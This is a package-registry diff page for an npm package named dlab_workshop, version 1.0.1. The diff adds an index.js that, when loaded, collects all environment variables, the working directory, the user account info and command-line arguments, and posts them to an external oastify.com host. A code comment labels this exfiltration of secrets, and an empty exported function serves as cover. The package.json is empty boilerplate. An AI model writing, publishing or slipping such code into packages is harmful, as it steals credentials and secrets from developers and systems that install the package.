dlab_workshop 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +13 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,13 @@
1
+ // Exfiltrate env vars, secrets, config
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ const data = {
6
+ env: process.env,
7
+ cwd: process.cwd(),
8
+ user: os.userInfo(),
9
+ argv: process.argv
10
+ };
11
+
12
+ https.post('https://9eojg3y52itd6161v4lhojajrax1lw9l.oastify.com', JSON.stringify(data));
13
+ module.exports = { dlabInit: () => {} };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "dlab_workshop",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "type": "commonjs"
13
+ }